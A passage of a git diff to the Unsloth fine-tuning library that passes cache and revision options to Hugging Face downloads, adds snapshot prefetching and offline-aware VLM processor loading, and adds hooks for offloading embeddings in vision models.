+    "        from unsloth.utils.prefix_grouper import build_group_layout as _pg_build_layout, prefix_grouper_enabled as _pg_enabled_fn, verify_on as _pg_verify_on, tol_ok as _pg_tol_ok, TOL_KILL as _PG_TOL_KILL\n"
+    "    except Exception:\n"
+    "        UNSLOTH_GRPO_PREFIX_GROUPER_ON = False\n"
+)
 
 
 # Edit _get_per_token_logps to handle mixed precision
@@ -1530,7 +2059,11 @@ def grpo_trainer_compute_loss(function_name, function):
         num_items_in_batch = inputs.get("num_items_in_batch", None)
         sampling_per_token_logps = inputs.get("sampling_per_token_logps", None)
         tool_mask = inputs.get("tool_mask", None)
-        current_gradient_accumulation_steps = self.current_gradient_accumulation_steps
+        # Missing when evaluate() runs standalone; eval does not accumulate, so
+        # fall back to 1 to avoid underreporting eval_loss (#2464).
+        current_gradient_accumulation_steps = getattr(
+            self, "current_gradient_accumulation_steps", 1
+        )
         num_processes = self.accelerator.num_processes
 
         input_ids = torch.cat([prompt_ids, completion_ids], dim = 1)
@@ -1595,11 +2128,12 @@ def grpo_trainer_compute_loss(function_name, function):
         input_ids = input_ids[:, -logits_to_keep:]
 
         # Get logit softcapping and logit scale
-        logit_softcapping = _unsloth_get_final_logit_softcapping(model.config)  # Gemma
-        logit_scale_multiply = getattr(model.config, "logit_scale", 0)  # Cohere
+        model_config = _unsloth_get_model_config(model)
+        logit_softcapping = _unsloth_get_final_logit_softcapping(model)  # Gemma
+        logit_scale_multiply = getattr(model_config, "logit_scale", 0)  # Cohere
         if logit_scale_multiply is None:
             logit_scale_multiply = 0
-        logit_scale_divide = getattr(model.config, "logits_scaling", 0)  # Granite
+        logit_scale_divide = getattr(model_config, "logits_scaling", 0)  # Granite
         if logit_scale_divide is None:
             logit_scale_divide = 0
 
diff --git a/unsloth/models/sentence_transformer.py b/unsloth/models/sentence_transformer.py
index 7e43442bfd..c1172faa94 100644
--- a/unsloth/models/sentence_transformer.py
+++ b/unsloth/models/sentence_transformer.py
@@ -19,6 +19,7 @@ from ._utils import (
     SUPPORTS_BFLOAT16,
     resolve_model_class,
     resolve_encoder_attention_implementation,
+    maybe_prefetch_hf_snapshot,
 )
 import inspect
 import json
@@ -541,7 +542,12 @@ class FastSentenceTransformer(FastModel):
         return transformer_module
 
     @staticmethod
-    def _read_pooling_mode(model_name, token):
+    def _read_pooling_mode(
+        model_name,
+        token,
+        cache_dir = None,
+        revision = None,
+    ):
         """Read the pooling mode from modules.json, else return "mean"."""
         try:
             if os.path.exists(model_name) and os.path.exists(
@@ -549,7 +555,13 @@ class FastSentenceTransformer(FastModel):
             ):
                 modules_json_path = os.path.join(model_name, "modules.json")
             else:
-                modules_json_path = hf_hub_download(model_name, "modules.json", token = token)
+                modules_json_path = hf_hub_download(
+                    model_name,
+                    "modules.json",
+                    token = token,
+                    cache_dir = cache_dir,
+                    revision = revision,
+                )
 
             with open(modules_json_path, "r", encoding = "utf-8") as f:
                 modules_config = json.load(f)
@@ -571,6 +583,8 @@ class FastSentenceTransformer(FastModel):
                                 model_name,
                                 os.path.join(pooling_path, "config.json"),
                                 token = token,
+                                cache_dir = cache_dir,
+                                revision = revision,
                             )
                         break
 
@@ -950,7 +964,12 @@ class FastSentenceTransformer(FastModel):
             f.write(content)
 
     @staticmethod
-    def _module_path(model_name, token = None):
+    def _module_path(
+        model_name,
+        token = None,
+        cache_dir = None,
+        revision = None,
+    ):
         """Return the path to the modules.json file, or None."""
         try:
             if os.path.exists(model_name) and os.path.isdir(model_name):
@@ -958,7 +977,13 @@ class FastSentenceTransformer(FastModel):
                 return path if os.path.exists(path) else None
             else:
                 try:
-                    return hf_hub_download(model_name, "modules.json", token = token)
+                    return hf_hub_download(
+                        model_name,
+                        "modules.json",
+                        token = token,
+                        cache_dir = cache_dir,
+                        revision = revision,
+                    )
                 except:
                     return None
         except:
@@ -1135,6 +1160,8 @@ class FastSentenceTransformer(FastModel):
         max_seq_length,
         pooling_mode,
         trust_remote_code = False,
+        cache_dir = None,
+        revision = None,
     ) -> tuple[OrderedDict, bool]:
         """Load modules from modules.json, else fall back to hard-coded modules.
 
@@ -1145,7 +1172,9 @@ class FastSentenceTransformer(FastModel):
         from sentence_transformers.models import Pooling, Normalize
 
         modules = OrderedDict()
-        modules_json_path = FastSentenceTransformer._module_path(model_name, token)
+        modules_json_path = FastSentenceTransformer._module_path(
+            model_name, token, cache_dir = cache_dir, revision = revision
+        )
 
         if modules_json_path:
             with open(modules_json_path, encoding = "utf8") as f:
@@ -1171,7 +1200,13 @@ class FastSentenceTransformer(FastModel):
                         load_path = os.path.join(model_name, module_path)
                     else:
                         try:
-                            load_path = load_dir_path(model_name, module_path, token = token)
+                            load_path = load_dir_path(
+                                model_name,
+                                module_path,
+                                token = token,
+                                cache_folder = cache_dir,
+                                revision = revision,
+                            )
                         except Exception as e:
                             print(f"Unsloth Warning: Could not download module {module_path}: {e}")
                             continue
@@ -1198,7 +1233,9 @@ class FastSentenceTransformer(FastModel):
         hidden_size = getattr(model.config, "hidden_size", 768)
 
         if pooling_mode == "mean":
-            pooling_mode = FastSentenceTransformer._read_pooling_mode(model_name, token)
+            pooling_mode = FastSentenceTransformer._read_pooling_mode(
+                model_name, token, cache_dir = cache_dir, revision = revision
+            )
 
         modules["1"] = Pooling(word_embedding_dimension = hidden_size, pooling_mode = pooling_mode)
         modules["2"] = Normalize()
@@ -1386,6 +1423,45 @@ class FastSentenceTransformer(FastModel):
                 "Run `pip install sentence-transformers` to install it."
             )
 
+        # Validate the load modes BEFORE the prefetch so a bad config fails without downloading weights.
+        # Guard on not for_inference: that branch below never used these flags.
+        if not for_inference:
+            # sanity check, thanks Etherl:
+            if full_finetuning and (load_in_4bit or load_in_8bit):
+                print(
+                    "Unsloth: You selected full finetuning support, but 4bit / 8bit is enabled - disabling LoRA / QLoRA."
+                )
+                load_in_4bit = False
+                load_in_8bit = False
+                load_in_fp8 = False
+                load_in_16bit = False
+
+            if int(load_in_4bit) + int(load_in_8bit) + int(load_in_16bit) >= 2:
+                raise RuntimeError(
+                    "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!\n"
+                    "Also, we by default set `load_in_16bit = True`.\n"
+                    "If you want 4bit LoRA finetuning, set `load_in_16bit = False` and `load_in_4bit = True`\n"
+                    "If you want 8bit finetuning, set both `load_in_16bit = False` and `load_in_8bit = True`"
+                )
+
+        # Prefetch so the ST load below is a cache hit. weights_at_root stays False (ST component
+        # weights live in per-module subfolders). Resolve the same cache the load uses: HF cache_dir,
+        # else cache_folder, else SENTENCE_TRANSFORMERS_HOME, else default -- a wrong cache misses the warm.
+        _st_prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = kwargs.get("cache_dir")
+            or kwargs.get("cache_folder")
+            or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+            local_files_only = kwargs.get("local_files_only", False),
+            # Forward force_download so the refresh happens in the killable child, then clear it so the
+            # in-process ST load reuses the warm cache instead of re-downloading over unguarded Xet.
+            force_download = kwargs.get("force_download", False),
+        )
+        if _st_prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
         # if for_inference == True, skip Unsloth optimizations to avoid torch compile issues
         if for_inference:
             st_device = device_map
@@ -1416,27 +1492,16 @@ class FastSentenceTransformer(FastModel):
                 if k in kwargs:
                     st_kwargs[k] = kwargs[k]
 
+            # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm
+            # (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).
+            _st_cache = kwargs.get("cache_dir") or kwargs.get("cache_folder")
+            if _st_cache is not None:
+                st_kwargs["cache_folder"] = _st_cache
+
             st_model = SentenceTransformer(model_name, **st_kwargs)
             return st_model
 
-        # sanity check, thanks Etherl:
-        if full_finetuning and (load_in_4bit or load_in_8bit):
-            print(
-                "Unsloth: You selected full finetuning support, but 4bit / 8bit is enabled - disabling LoRA / QLoRA."
-            )
-            load_in_4bit = False
-            load_in_8bit = False
-            load_in_fp8 = False
-            load_in_16bit = False
-
-        if int(load_in_4bit) + int(load_in_8bit) + int(load_in_16bit) >= 2:
-            raise RuntimeError(
-                "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!\n"
-                "Also, we by default set `load_in_16bit = True`.\n"
-                "If you want 4bit LoRA finetuning, set `load_in_16bit = False` and `load_in_4bit = True`\n"
-                "If you want 8bit finetuning, set both `load_in_16bit = False` and `load_in_8bit = True`"
-            )
-
+        # Load-mode validation already ran before the prefetch above.
         if "auto_model" not in kwargs:
             kwargs["auto_model"] = AutoModel
 
@@ -1533,7 +1598,8 @@ class FastSentenceTransformer(FastModel):
                 elif is_mpnet:
                     FastSentenceTransformer._patch_mpnet_v5()
 
-            # Load via native SentenceTransformer (bypasses Unsloth patching)
+            # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm
+            # (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).
             st_model = SentenceTransformer(
                 model_name,
                 device = st_device,
@@ -1541,6 +1607,7 @@ class FastSentenceTransformer(FastModel):
                 token = token,
                 revision = revision,
                 model_kwargs = model_kwargs,
+                cache_folder = kwargs.get("cache_dir") or kwargs.get("cache_folder"),
             )
 
             # Store metadata for get_peft_model
@@ -1646,7 +1713,18 @@ class FastSentenceTransformer(FastModel):
 
         # No modules.json -> force 16-bit: saving is custom for these models and
         # 4-bit would need dequant in save_pretrained_merged, not worth it.
-        has_modules_json = FastSentenceTransformer._module_path(model_name, token) is not None
+        # Resolve the warmed cache: hf_hub_download ignores SENTENCE_TRANSFORMERS_HOME, so pass it as cache_dir.
+        has_modules_json = (
+            FastSentenceTransformer._module_path(
+                model_name,
+                token,
+                cache_dir = kwargs.get("cache_dir")
+                or kwargs.get("cache_folder")
+                or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+                revision = revision,
+            )
+            is not None
+        )
 
         if not has_modules_json and load_in_4bit:
             print(
@@ -1656,6 +1734,12 @@ class FastSentenceTransformer(FastModel):
             load_in_4bit = False
             load_in_16bit = True
 
+        # The fallback FastModel load reads HF cache_dir, not ST's cache_folder/SENTENCE_TRANSFORMERS_HOME.
+        # Point it at the warmed cache, but only when no explicit cache_dir was passed (which wins).
+        _st_cache_dir = kwargs.get("cache_folder") or os.environ.get("SENTENCE_TRANSFORMERS_HOME")
+        if _st_cache_dir is not None and "cache_dir" not in kwargs:
+            kwargs["cache_dir"] = _st_cache_dir
+
         try:
             model, tokenizer = FastModel.from_pretrained(
                 model_name = model_name,
@@ -1697,6 +1781,12 @@ class FastSentenceTransformer(FastModel):
             max_seq_length,
             pooling_mode,
             trust_remote_code = trust_remote_code,
+            # Same resolved cache as above so the fallback module loads hit the warm, not Xet.
+            cache_dir = kwargs.get("cache_dir")
+            or kwargs.get("cache_folder")
+            or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+            # Same revision as the weight load so modules hit the warm (None = default branch).
+            revision = revision,
         )
 
         st_device = device_map
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 182030c68b..0a68a49fee 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -37,10 +37,11 @@ from ._utils import (
     _get_text_only_config,
     _is_family_text_decoder,
     _apply_text_only_key_mapping,
+    _select_moe_detection_targets,
     set_task_config_attr,
 )
 from ._utils import *
-from .loader_utils import _get_fp8_mode_and_check_settings
+from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
 from ..save import patch_saving_functions
 from ..models.loader_utils import is_distributed
 from unsloth_zoo.gradient_checkpointing import (
@@ -238,6 +239,71 @@ def _attach_bnb_multidevice_hooks(
 global NUM_LOGITS_TO_KEEP
 NUM_LOGITS_TO_KEEP = dict()
 
+
+def _unsloth_generate_accepts_kwarg(model, key):
+    # True if the top level accepts this generate kwarg (some models expose it on an inner forward only).
+    try:
+        model_args = set(inspect.signature(model.prepare_inputs_for_generation).parameters)
+    except (TypeError, ValueError, AttributeError):
+        model_args = set()
+    if "kwargs" in model_args or "model_kwargs" in model_args:
+        try:
+            model_args |= set(inspect.signature(model.forward).parameters)
+        except (TypeError, ValueError, AttributeError):
+            pass
+    return key in model_args
+
+
+def _install_offload_embedding_hooks(embed_tokens, output_embeddings, return_device):
+    # Lookup runs on the weight's current device (CPU when offloaded); the output returns to the
+    # decoder device read live from output_embeddings (lm_head, untied here) so it tracks
+    # model.to() moves. A meta (disk-offloaded) or missing lm_head falls back to return_device.
+    if embed_tokens is None:
+        return False
+    if getattr(embed_tokens, "_unsloth_offload_hooks_installed", False):
+        return True
+
+    def _decoder_device():
+        weight = getattr(output_embeddings, "weight", None)
+        if weight is not None and weight.device.type != "meta":
+            return weight.device
+        return return_device
+
+    def _unsloth_offload_pre_hook(module, args):
+        if not args:
+            return args
+        inp = args[0]
+        if not hasattr(inp, "device"):
+            return args
+        weight = getattr(module, "weight", None)
+        target = weight.device if weight is not None else _decoder_device()
+        if target is None or inp.device == target:
+            return args
+        return (inp.to(target),) + tuple(args[1:])
+
+    def _unsloth_offload_post_hook(module, args, output):
+        target = _decoder_device()
+        if target is not None and hasattr(output, "device") and output.device != target:
+            return output.to(target)
+        return output
+
+    embed_tokens.register_forward_pre_hook(_unsloth_offload_pre_hook, prepend = True)
+    embed_tokens.register_forward_hook(_unsloth_offload_post_hook, prepend = True)
+    embed_tokens._unsloth_offload_hooks_installed = True
+    return True
+
+
+def _embeddings_are_tied(input_embeddings, output_embeddings):
+    # Tied lm_head reuses this weight; offloading to CPU would strand the output projection.
+    if input_embeddings is None or output_embeddings is None:
+        return False
+    w_in = getattr(input_embeddings, "weight", None)
+    w_out = getattr(output_embeddings, "weight", None)
+    if w_in is None or w_out is None:
+        return False
+    return w_in is w_out or w_in.data_ptr() == w_out.data_ptr()
+
+
 VLLM_SUPPORTED_VLM = [
     "qwen2_5_vl",
     "gemma3",
@@ -321,6 +387,13 @@ def unsloth_base_fast_generate(self, *args, **kwargs):
             kwargs.pop("token_type_ids", None)
     # kwargs.pop("token_type_ids", None)
 
+    # Vision processors emit mm_token_type_ids that generate() rejects (Qwen3-VL); unlike
+    # logits_to_keep it is an incoming kwarg, so drop it when generate does not accept it.
+    if "mm_token_type_ids" in kwargs and not _unsloth_generate_accepts_kwarg(
+        self, "mm_token_type_ids"
+    ):
+        kwargs.pop("mm_token_type_ids", None)
+
     # VLMs do not allow logits_to_keep
     global NUM_LOGITS_TO_KEEP
     if arch not in NUM_LOGITS_TO_KEEP:
@@ -339,7 +412,7 @@ def unsloth_base_fast_generate(self, *args, **kwargs):
         if arch not in NUM_LOGITS_TO_KEEP:
             NUM_LOGITS_TO_KEEP[arch] = None
     key = NUM_LOGITS_TO_KEEP[arch]
-    if key is not None and key not in kwargs:
+    if key is not None and key not in kwargs and _unsloth_generate_accepts_kwarg(self, key):
         kwargs[key] = 1
 
     model_eos_token_id = getattr(self.config, "eos_token_id", None)
@@ -449,13 +522,44 @@ def unsloth_base_fast_generate(self, *args, **kwargs):
     return output
 
 
-def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_remote_code):
-    """Construct a VLM processor manually when AutoProcessor.from_pretrained fails.
+# Offline helpers live in loader_utils.py (shared canonical source).
+from .loader_utils import (
+    _get_effective_local_files_only,
+    _is_offline_related_error,
+    _offline_aware_load,
+)
 
-    Some VLMs (e.g., LFM2.5-VL) have tokenizer_class entries that AutoTokenizer
-    cannot resolve. This function loads the image processor and tokenizer separately,
-    sets required special token attributes, and constructs the processor.
-    """
+
+def _missing_torchvision_error(error = None):
+    """True if a VLM processor failed to load due to missing torchvision (#4202).
+
+    Checks availability directly first, then only the specific torchvision-required
+    error text (not any incidental "torchvision" substring like a model path)."""
+    import importlib.util
+
+    if importlib.util.find_spec("torchvision") is None:
+        return True
+    if error is not None:
+        error_str = str(error).lower()
+        return (
+            "requires the torchvision" in error_str or "no module named 'torchvision'" in error_str
+        )
+    return False
+
+
+def _construct_vlm_processor_fallback(
+    tokenizer_name,
+    model_type,
+    token,
+    trust_remote_code,
+    cache_dir = None,
+    local_files_only = False,
+):
+    """Build a VLM processor manually when AutoProcessor.from_pretrained fails (some VLMs
+    have unresolvable tokenizer_class entries): load the image processor + tokenizer
+    separately and combine. Returns (processor_or_None, error_or_None) so the caller can
+    tell an offline failure (retry from cache) from a genuine one."""
+    _fb_err = None
     try:
         from transformers import AutoImageProcessor, PreTrainedTokenizerFast, AutoConfig
         from transformers.models.auto.processing_auto import PROCESSOR_MAPPING_NAMES
@@ -466,6 +570,8 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
             tokenizer_name,
             token = token,
             trust_remote_code = trust_remote_code,
+            cache_dir = cache_dir,
+            local_files_only = local_files_only,
         )
         # Load tokenizer via PreTrainedTokenizerFast (bypasses tokenizer_class check)
         tok = PreTrainedTokenizerFast.from_pretrained(
@@ -473,14 +579,37 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
             padding_side = "left",
             token = token,
             trust_remote_code = trust_remote_code,
+            cache_dir = cache_dir,
+            local_files_only = local_files_only,
         )
-        # Read tokenizer_config.json for model-specific special tokens
+        # Read tokenizer_config.json for special tokens: prefer the local file (offline
+        # / local checkpoint dir), else hf_hub_download with local_files_only forwarded.
         try:
-            from huggingface_hub import hf_hub_download
+            import json as _json
 
-            config_path = hf_hub_download(tokenizer_name, "tokenizer_config.json", token = token)
-            with open(config_path, "r", encoding = "utf-8") as f:
-                tok_config = json.load(f)
+            tok_config = None
+            _local_cfg = os.path.join(tokenizer_name, "tokenizer_config.json")
+            if os.path.isdir(tokenizer_name):
+                # Local dir: read directly. A missing file raises a clear FileNotFoundError
+                # rather than letting hf_hub_download treat the path as a repo id.
+                if os.path.exists(_local_cfg):
+                    with open(_local_cfg, "r", encoding = "utf-8") as f:
+                        tok_config = _json.load(f)
+                else:
+                    raise FileNotFoundError(
+                        f"tokenizer_config.json not found in local directory: {tokenizer_name}"
+                    )
+            else:
+                from huggingface_hub import hf_hub_download
+                config_path = hf_hub_download(
+                    tokenizer_name,
+                    "tokenizer_config.json",
+                    token = token,
+                    cache_dir = cache_dir,
+                    local_files_only = local_files_only,
+                )
+                with open(config_path, "r", encoding = "utf-8") as f:
+                    tok_config = _json.load(f)
             # Set model-specific special tokens and their IDs
             for key in (
                 "image_token",
@@ -495,8 +624,8 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
                     token_id = tok.convert_tokens_to_ids(tok_config[key])
                     if not hasattr(tok, id_key):
                         setattr(tok, id_key, token_id)
-        except Exception:
-            pass
+        except Exception as _e:
+            _fb_err = _e  # remember (non-fatal here); surfaced only if no processor is built
 
         # Find the processor class - try model_type first, then top-level config model_type
         proc_class_name = PROCESSOR_MAPPING_NAMES.get(model_type)
@@ -508,10 +637,12 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
                     tokenizer_name,
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    cache_dir = cache_dir,
+                    local_files_only = local_files_only,
                 )
                 proc_class_name = PROCESSOR_MAPPING_NAMES.get(config.model_type)
-            except Exception:
-                pass
+            except Exception as _e:
+                _fb_err = _e  # surface a network/cache miss so the offline retry can fire
 
         if proc_class_name is not None:
             import transformers
@@ -523,10 +654,10 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
                     tok, "chat_template", None
                 ):
                     processor.chat_template = tok.chat_template
-                return processor
-    except Exception:
-        pass
-    return None
+                return processor, None
+    except Exception as _e:
+        _fb_err = _e
+    return None, _fb_err
 
 
 def _get_total_transformer_layers(model):
@@ -560,6 +691,7 @@ def _get_total_transformer_layers(model):
 
 class FastBaseModel:
     @staticmethod
+    @_offline_aware_load
     def from_pretrained(
         model_name = "unsloth/Llama-3.2-1B-Instruct",
         max_seq_length = 2048,
@@ -597,6 +729,10 @@ class FastBaseModel:
         if auto_config is None and user_config is not None:
             auto_config = user_config
 
+        # Offline snapshot for the loads below; not popped, so the weight load still
+        # reads local_files_only from **kwargs. See _get_effective_local_files_only.
+        local_files_only = _get_effective_local_files_only(kwargs)
+
         if unsloth_vllm_standby and os.environ.get("UNSLOTH_VLLM_STANDBY", "0") != "1":
             raise RuntimeError(
                 "Unsloth: UNSLOTH_VLLM_STANDBY is True, but UNSLOTH_VLLM_STANDBY is not set to 1!"
@@ -616,6 +752,7 @@ class FastBaseModel:
                 model_name,
                 token = token,
                 trust_remote_code = trust_remote_code,
+                local_files_only = local_files_only,
             )
         if text_only and hasattr(auto_config, "vision_config"):
             parent_config = auto_config
@@ -741,6 +878,9 @@ class FastBaseModel:
         # For debugging - we use a download counter to see if environments are not breaking or if HF is down
         get_statistics(kwargs.get("local_files_only", False))
 
+        # The base + tokenizer prefetch runs AFTER the load-mode validation below, so an invalid
+        # load_in_* combination fails without first downloading a snapshot.
+
         if dtype is None:
             dtype = torch.float16 if not SUPPORTS_BFLOAT16 else torch.bfloat16
         elif os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1":
@@ -794,6 +934,7 @@ class FastBaseModel:
                 model_name,
                 token = token,
                 trust_remote_code = trust_remote_code,
+                local_files_only = local_files_only,
             )
         model_class = resolve_model_class(auto_model, auto_config)
         attn_impl = resolve_attention_implementation(
@@ -836,6 +977,53 @@ class FastBaseModel:
             raise RuntimeError(
                 "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!"
             )
+
+        # Prefetch the repo (killable child) so the in-process load below is a cache hit. vLLM owns the
+        # weight download only when actually available; if fast_inference was requested but vLLM is
+        # missing, the load falls through in-process, so weights must still be warmed here.
+        _vllm_owns_weights = fast_inference and is_vLLM_available()
+        _prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = kwargs.get("revision"),
+            cache_dir = kwargs.get("cache_dir"),
+            local_files_only = kwargs.get("local_files_only", False),
+            fast_inference = _vllm_owns_weights,
+            subfolder = kwargs.get("subfolder"),
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            from_tf = kwargs.get("from_tf", False),
+            from_flax = kwargs.get("from_flax", False),
+            # Bare load reads only ROOT weights; skip subdir weights. Ignored when a subfolder is set.
+            weights_at_root = True,
+            variant = kwargs.get("variant"),  # forward so the warm keeps the variant .bin
+            gguf_file = kwargs.get(
+                "gguf_file"
+            ),  # forward so the warm fetches the GGUF (else ignored)
+        )
+        # Child did the forced download; clear the flag so the load reuses the warm cache.
+        if _prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
+        # Warm a SEPARATE tokenizer repo only (model_name is covered above). Not model_name here: this
+        # runs before fast_inference_setup may remap the repo, so it would warm the wrong one.
+        _tokenizer_repo = (
+            tokenizer_name if (isinstance(tokenizer_name, str) and tokenizer_name) else model_name
+        )
+        _warm_tokenizer_repo = (
+            isinstance(_tokenizer_repo, str)
+            and bool(_tokenizer_repo)
+            and _tokenizer_repo != model_name
+        )
+        if _warm_tokenizer_repo:
+            maybe_prefetch_hf_snapshot(
+                _tokenizer_repo,
+                token = token,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         _skip_modules = SKIP_QUANTIZATION_MODULES.copy()
         # Nemotron-H uses 'mixer' (not 'mamba') for Mamba layers.
         # Mamba fused kernels pass out_proj.weight directly to F.linear,
@@ -901,6 +1089,7 @@ class FastBaseModel:
                     model_name,
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    local_files_only = local_files_only,
                 )
             if hasattr(auto_config, "quantization_config"):
                 from transformers.quantizers.auto import (
@@ -954,6 +1143,7 @@ class FastBaseModel:
                 model_name,
                 token = token,
                 trust_remote_code = trust_remote_code,
+                local_files_only = local_files_only,
             )
         _set_attn_impl(auto_config, config_attn_impl)
         model_config = auto_config
@@ -961,151 +1151,163 @@ class FastBaseModel:
         verify_fp8_support_if_applicable(model_config)
 
         raise_handler = RaiseUninitialized()
-        if not fast_inference:
-            # Prevent load_in_fp8 from being forwarded into HF internal model loading
-            load_in_fp8 = kwargs.pop("load_in_fp8", None)
-            # Transformers 5.x @strict config classes reject unexpected kwargs.
-            # Move config-level attributes onto the config object directly.
-            _num_labels = kwargs.pop("num_labels", None)
-            if _num_labels is not None:
-                set_task_config_attr(model_config, "num_labels", _num_labels)
-            for _cfg_key in ("id2label", "label2id", "problem_type"):
-                _cfg_val = kwargs.pop(_cfg_key, None)
+        try:
+            if offload_embedding and fast_inference:
+                # vLLM manages its own weights; embedding offload does not apply.
+                print(
+                    "Unsloth: Not offloading embeddings; incompatible with fast_inference (vLLM)."
+                )
+                offload_embedding = False
+            if not fast_inference:
+                # Prevent load_in_fp8 from being forwarded into HF internal model loading
+                load_in_fp8 = kwargs.pop("load_in_fp8", None)
+                # Transformers 5.x @strict config classes reject unexpected kwargs.
+                # Move config-level attributes onto the config object directly.
+                _num_labels = kwargs.pop("num_labels", None)
+                if _num_labels is not None:
+                    set_task_config_attr(model_config, "num_labels", _num_labels)
+                for _cfg_key in ("id2label", "label2id", "problem_type"):
+                    _cfg_val = kwargs.pop(_cfg_key, None)
+                    if _cfg_val is not None:
+                        set_task_config_attr(model_config, _cfg_key, _cfg_val)
+                _cfg_val = kwargs.pop("max_position_embeddings", None)
                 if _cfg_val is not None:
-                    set_task_config_attr(model_config, _cfg_key, _cfg_val)
-            _cfg_val = kwargs.pop("max_position_embeddings", None)
-            if _cfg_val is not None:
-                setattr(model_config, "max_position_embeddings", _cfg_val)
-            model = auto_model.from_pretrained(
-                model_name,
-                config = model_config,
-                device_map = device_map,
-                # torch_dtype           = torch_dtype, # Transformers removed torch_dtype
-                # quantization_config   = bnb_config,
-                token = token,
-                trust_remote_code = trust_remote_code,
-                # attn_implementation   = attn_implementation,
-                **kwargs,
-            )
-            # Attach dispatch hooks for bnb multi-device loads.
-            _attach_bnb_multidevice_hooks(
-                model,
-                load_in_4bit = load_in_4bit,
-                load_in_8bit = load_in_8bit,
-                offload_embedding = offload_embedding,
-                fast_inference = fast_inference,
-            )
-            if hasattr(model, "generate"):
-                model.fast_generate = make_fast_generate_wrapper(model.generate)
-                model.fast_generate_batches = error_out_no_vllm
-            if offload_embedding:
-                if bool(os.environ.get("WSL_DISTRO_NAME") or os.environ.get("WSL_INTEROP")):
-                    # WSL doesn't work with offloaded embeddings
-                    pass
-                elif os.name == "nt":
-                    # Windows doesn't work with offloaded embeddings
-                    pass
-                else:
-                    embed_tokens = model.get_input_embeddings()
-                    nbytes = embed_tokens.weight.numel() * embed_tokens.weight.itemsize
-                    ngb = round(nbytes / 1024 / 1024 / 1024, 2)
-                    print(f"Unsloth: Offloading embeddings to RAM to save {ngb} GB.")
-                    embed_tokens.to("cpu")
+                    setattr(model_config, "max_position_embeddings", _cfg_val)
+                model = auto_model.from_pretrained(
+                    model_name,
+                    config = model_config,
+                    device_map = device_map,
+                    # torch_dtype           = torch_dtype, # Transformers removed torch_dtype
+                    # quantization_config   = bnb_config,
+                    token = token,
+                    trust_remote_code = trust_remote_code,
+                    # attn_implementation   = attn_implementation,
+                    **kwargs,
+                )
+                # Attach dispatch hooks for bnb multi-device loads.
+                _attach_bnb_multidevice_hooks(
+                    model,
+                    load_in_4bit = load_in_4bit,
+                    load_in_8bit = load_in_8bit,
+                    offload_embedding = offload_embedding,
+                    fast_inference = fast_inference,
+                )
+                if hasattr(model, "generate"):
+                    model.fast_generate = make_fast_generate_wrapper(model.generate)
+                    model.fast_generate_batches = error_out_no_vllm
+                if offload_embedding:
+                    if bool(os.environ.get("WSL_DISTRO_NAME") or os.environ.get("WSL_INTEROP")):
+                        # WSL doesn't work with offloaded embeddings
+                        pass
+                    elif os.name == "nt":
+                        # Windows doesn't work with offloaded embeddings
+                        pass
+                    else:
+                        embed_tokens = model.get_input_embeddings()
+                        out_embed = (
+                            model.get_output_embeddings()
+                            if hasattr(model, "get_output_embeddings")
+                            else None
+                        )
+                        if _embeddings_are_tied(embed_tokens, out_embed):
+                            raise NotImplementedError(
+                                "offload_embedding = True is not supported for models with tied word "
+                                "embeddings (embed_tokens shares its weight with lm_head). Offloading "
+                                "would strand the output projection on CPU and saves no VRAM. Set "
+                                "offload_embedding = False for this model."
+                            )
+                        nbytes = embed_tokens.weight.numel() * embed_tokens.weight.itemsize
+                        ngb = round(nbytes / 1024 / 1024 / 1024, 2)
+                        print(f"Unsloth: Offloading embeddings to RAM to save {ngb} GB.")
+                        _embed_device = embed_tokens.weight.device  # decoder device, before offload
+                        embed_tokens.to("cpu")
 
-                    # Add hooks to move inputs to CPU and back to CUDA
-                    # [TODO] Doesn't seem to work!
-                    # def pre_hook(module, args):
-                    #     args[0]._old_device = args[0].device
-                    #     return (args[0].to("cpu", non_blocking = True))
-                    # def post_hook(module, args, output):
-                    #     old_device = getattr(args[0], "_old_device", "cuda")
-                    #     return output.to(old_device, non_blocking = True)
-                    # embed_tokens.register_forward_pre_hook(pre_hook,  prepend = True)
-                    # embed_tokens.register_forward_hook    (post_hook, prepend = True)
-                    # Must free GPU memory otherwise will not free!
-                    torch.cuda.empty_cache()
-                    gc.collect()
-        else:
-            from unsloth_zoo.vllm_utils import (
-                load_vllm,
-                get_vllm_state_dict,
-                convert_vllm_to_huggingface,
-                generate_batches,
-                get_lora_supported_ranks,
-            )
-
-            if full_finetuning:
-                max_lora_rank = max(get_lora_supported_ranks())
-                raise NotImplementedError(
-                    "Unsloth: `fast_inference=True` cannot be used together with `full_finetuning=True`.\n"
-                    "Reason: fast_inference is optimized for inference-only workflows and "
-                    "does not currently support full fine-tuning.\n"
-                    "Workaround: disable fast_inference, or use parameter-efficient fine-tuning "
-                    f"(e.g. LoRA with rank r={max_lora_rank})."
